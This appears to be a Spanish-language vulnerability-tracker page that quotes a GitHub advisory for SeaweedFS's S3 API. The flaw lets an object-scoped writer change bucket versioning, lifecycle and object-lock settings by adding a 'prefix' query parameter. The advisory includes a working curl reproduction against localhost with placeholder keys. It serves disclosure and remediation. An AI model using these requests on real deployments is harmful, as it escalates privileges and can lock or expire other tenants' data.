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Advisory · GitHub · Go · github.com/seaweedfs/seaweedfs

GHSA-8RRX-349W-6396

S3: object-scoped Write grant can change bucket configuration via the prefix query parameter

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CVSS
—
medium
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición11 dDesde la divulgación, 9 nov 2026, 2:52 p. m.
Detección10 dDesde la divulgación hasta su ingreso al índice
Decisión estimadaSeguir
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Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
9 nov 26
20 nov 26
21 nov 26
9 nov 26
12 nov 26
15 nov 26
18 nov 26
21 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-8RRX-349W-6396 divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés

An S3 identity that is granted only object-scoped write access (for example `"Write:cache/*"`) can change bucket-level configuration by adding an unsigned-looking but signed `prefix` query parameter to a bucket subresource request. This crosses the boundary between object write access and bucket administration.

Affected versions
- Release 4.47 (image `chrislusf/seaweedfs:4.47`).
- master at `be29f44d87448f88d842f6810a877421832dd81d` (image `chrislusf/seaweedfs:dev`, built 2026-09-26).

Deployment and configuration
- `weed server -s3 -s3.config=/etc/s3.json` with default settings; only the S3 API port (8333) is used.
- SigV4 authentication with static identities from `s3.json`:
- `admin`: `["Admin","Read","Write","List","Tagging"]`;
- `writer`: `["Read:cache","Write:cache/*","List:cache"]`.

Attacker's starting position: a valid S3 user (`writer`) whose grants are limited to objects in one bucket.

Trust boundary crossed: object-scoped `Write:<bucket>/*` is treated as sufficient for bucket configuration subresources. A tenant who may only write objects can:
- enable versioning;
- replace lifecycle rules;
- once versioning is on, set a bucket object-lock configuration, and object retention and legal hold.

With a COMPLIANCE lock and an attacker-chosen retention, the bucket's data can no longer be deleted by anyone, including the admin, until the retention expires. A lifecycle rule can expire data the tenant could not otherwise touch.

Reproduction (curl 8.x, SigV4)

S=http://127.0.0.1:8333
A=(--aws-sigv4 "aws:amz:us-east-1:s3" --user ADMINKEY0000000000:adminsecret0000000000000000000000000000)
W=(--aws-sigv4 "aws:amz:us-east-1:s3" --user WRITERKEY000000000:writersecret000000000000000000000000000)
V='<VersioningConfiguration xmlns="http://s3.amazonaws.com/doc/2006-03-01/"><Status>Enabled</Status></VersioningConfiguration>'
curl -s -o /dev/null -w '%{http_code}\n' "${A[@]}" -X PUT $S/cache
curl -s -o /dev/null -w '%{http_code}\n' "${W[@]}" -X PUT --data-binary "$V" "$S/cache?versioning"            # 403, as expected
curl -s -o /dev/null -w '%{http_code}\n' "${W[@]}" -X PUT --data-binary "$V" "$S/cache?versioning&prefix=x"   # 200
curl -s "${A[@]}" "$S/cache?versioning"                                                                        # <Status>Enabled</Status>
L='<LifecycleConfiguration><Rule><ID>x</ID><Status>Enabled</Status><Filter><Prefix></Prefix></Filter><Expiration><Days>1</Days></Expiration></Rule></LifecycleConfiguration>'
curl -s -o /dev/null -w '%{http_code}\n' "${W[@]}" -X PUT -H 'Content-Type: application/xml' --data-binary "$L" "$S/cache?lifecycle&prefix=x"  # 200

The s3.json used:

{"identities":[
 {"name":"admin","credentials":[{"accessKey":"ADMINKEY0000000000","secretKey":"adminsecret0000000000000000000000000000"}],"actions":["Admin","Read","Write","List","Tagging"]},
 {"name":"writer","credentials":[{"accessKey":"WRITERKEY000000000","secretKey":"writersecret000000000000000000000000000"}],"actions":["Read:cache","Write:cache/*","List:cache"]}
]}

Expected behaviour: `PUT /cache?versioning&prefix=x` and `PUT /cache?lifecycle&prefix=x` return 403 for `writer`, as they do without `prefix`.

Actual behaviour: both return 200 and change the bucket configuration.

Likely cause (4.47 source)
- `authRequestWithAuthType` promotes the `prefix` query parameter into the object key for every action. `Write:cache/*` then matches `Write:cache/x`.
- The IAM-policy path has the same issue: `resolveFromQueryParameters` maps bucket subresources to their bucket action only when the request has no object. After promotion, `PUT ?versioning&prefix=x` resolves to `s3:PutObject`, so attached IAM policies do not contain it either.

Suggested fix: restrict the `prefix` promotion to list actions (`ACTION_LIST`), so bucket subresource requests are always authorized as their bucket-level action.

Reachable subresources for an object-only writer (observed): `versioning`, `lifecycle`, `cors`, and after versioning `object-lock`, `retention` and `legal-hold`. `policy`, `acl`, `tagging`, `encryption`, quota and bucket create/delete were not reachable in our tests.

Versiones

Rangos afectados

Afectada Corregida
github.com/seaweedfs/seaweedfs≤ 4.47
4.47
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
Gogithub.com/seaweedfs/seaweedfs
Sin parche — — —
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/seaweedfs/seaweedfs/security/advisories/GHSA-8rrx-349w-6396

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